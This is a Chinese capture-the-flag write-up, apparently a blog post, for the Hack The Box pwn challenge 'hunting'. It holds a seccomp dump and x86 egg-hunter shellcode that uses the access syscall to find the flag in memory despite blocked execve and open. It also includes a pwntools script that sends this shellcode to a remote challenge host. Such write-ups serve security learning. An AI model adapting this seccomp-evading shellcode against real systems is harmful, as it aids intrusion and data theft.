HTB-hunting-md


title: HTB-hunting
date: 2023-12-13 15:18:01
categories: HTB
tags: PWN

HTB-hunting

这是一道手写shellcode题目

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

开启了PIE地址随机化

使用strings

tdH
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
strcpy
exit
srand
perror
signal
mmap
prctl
memset
read
alarm
close
open
__cxa_finalize
__libc_start_main
GLIBC_2.1.3
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
[^_]
prctl(PR_SET_NO_NEW_PRIVS)
prctl(PR_SET_SECCOMP)
/dev/urandom
9*2$"
HTB{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
.shstrtab
.interp
.note.gnu.build-id
.note.gnu.property
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

可以看到里面是有个HTB{xxx}的信息

./hunting运行尝试

发现无论输入任何数都显示

Segmentation fault

拖入ida32查看

没有显示main函数,只有自己找,找到如下代码可以判断为主函数

int sub_1460()
{
  int v1; // [esp-10h] [ebp-24h]
  int v2; // [esp-Ch] [ebp-20h]
  int v3; // [esp-8h] [ebp-1Ch]
  int v4; // [esp-4h] [ebp-18h]
  void *buf; // [esp+0h] [ebp-14h]
  char *dest; // [esp+4h] [ebp-10h]
  void *addr; // [esp+8h] [ebp-Ch]

  addr = (void *)sub_13D0();
  signal(14, (__sighandler_t)&exit);
  alarm(0xAu);
  dest = (char *)mmap(addr, 0x1000u, 3, 49, -1, 0);
  if ( dest == (char *)-1 )
    sub_1120(-1, v1, v2, v3);
  strcpy(dest, aHtbXxxxxxxxxxx);
  memset(aHtbXxxxxxxxxxx, 0, sizeof(aHtbXxxxxxxxxxx));
  sub_133D();
  buf = mmap(0, 0x1000u, 7, 33, -1, 0);
  read(0, buf, 0x3Cu);
  ((void (__stdcall *)(int, void *, _DWORD))buf)(v4, buf, 0);
  return 0;
}

这个代码使用了mmap(addr, 0x1000u, 3, 49, -1, 0);请求了0x1000内存给了dest以及buf

并且将strcpy(dest, aHtbXxxxxxxxxxx);我们需要的flag拷贝到了dest内存中

然后在使用了meset函数给flag之前的内存地址清零

read(0, buf, 0x3Cu);我们现在还有0x3c的内存可以利用

还调用了sub_13D0

int sub_13D0()
{
  unsigned int buf; // [esp+0h] [ebp-18h] BYREF
  int fd; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  fd = open("/dev/urandom", 0);
  read(fd, &buf, 8u);
  close(fd);
  srand(buf);
  for ( i = 0; i <= 1610612735; i = rand() << 16 )
    ;
  return i;
}

利用写入的buf当作srand并且利用i来测试随机数

在使用seccomp-tools dump ./hunting

└─# seccomp-tools dump ./hunting
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x20 0x00 0x00 0x00000000  A = sys_number
 0002: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0013
 0003: 0x15 0x09 0x00 0x0000000b  if (A == execve) goto 0013
 0004: 0x15 0x08 0x00 0x00000166  if (A == execveat) goto 0013
 0005: 0x15 0x07 0x00 0x00000127  if (A == openat) goto 0013
 0006: 0x15 0x06 0x00 0x00000005  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000006  if (A == close) goto 0013
 0008: 0x15 0x04 0x00 0x00000008  if (A == creat) goto 0013
 0009: 0x15 0x03 0x00 0x00000056  if (A == uselib) goto 0013
 0010: 0x15 0x02 0x00 0x00000002  if (A == fork) goto 0013
 0011: 0x15 0x01 0x00 0x000000be  if (A == vfork) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

把execve以及open,close给禁用了,表示我们无法使用getshell,orw

这个时候就得利用c里面的函数去找flag的地址了

比如access可以来判断文件名是否存在并且判断内存地址是否存在

利用语法为

access(const char *filename,int mode);
当mode 为0 时,判断是否存在。

当mode 为1时,判断是否有执行权限。

当mode 为2时,判断是否有写权限。

当mode 为3时,判断是否有读权限。

filename参数可以是文件名也能是内存地址

利用access函数以0x1000为一个单位来慢慢遍历

用c伪代码表达为

for (uint32_t address = 0x60000000; address < 0x7fffffff; address += 0x1000)
{

        if (access(address + i +4) == EFAULT)
            break;
        write(1, address, 0x26);
        exit(0);
        
    
}

使用汇编表达就是

mov edx,0x5fffffff;
xor ecx,ecx;
notaccess:
or dx,0xfff;
inc edx;
mov eax,0x21;
lea  ebx,[edx+4]
int 0x80
cmp eax,0xfffffff2;
jz  notaccess;
mov eax,0x04;
mov ebx,1;
mov ecx,edx;
mov edx,0x26
int 0x80
exp
from pwn import *

elf=ELF('./hunting')
context.log_level='debug'

p=remote('167.99.82.136',32646)
payload="""
mov edx,0x5fffffff;
xor ecx,ecx;
notaccess:
or dx,0xfff;
inc edx;
mov eax,0x21;
lea  ebx,[edx+4]
int 0x80
cmp eax,0xfffffff2;
jz  notaccess;

mov eax,0x04;
mov ebx,1;
mov ecx,edx;
mov edx,0x26
int 0x80
"""
p.sendline(asm(payload))
p.interactive()

成功得到flag

借鉴了大佬wp[Hunting— HTB PWN challenge | lexsd6’s home](https://lexsd6.github.io/2021/11/02/PWN Hunting challenge — HTB/)

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值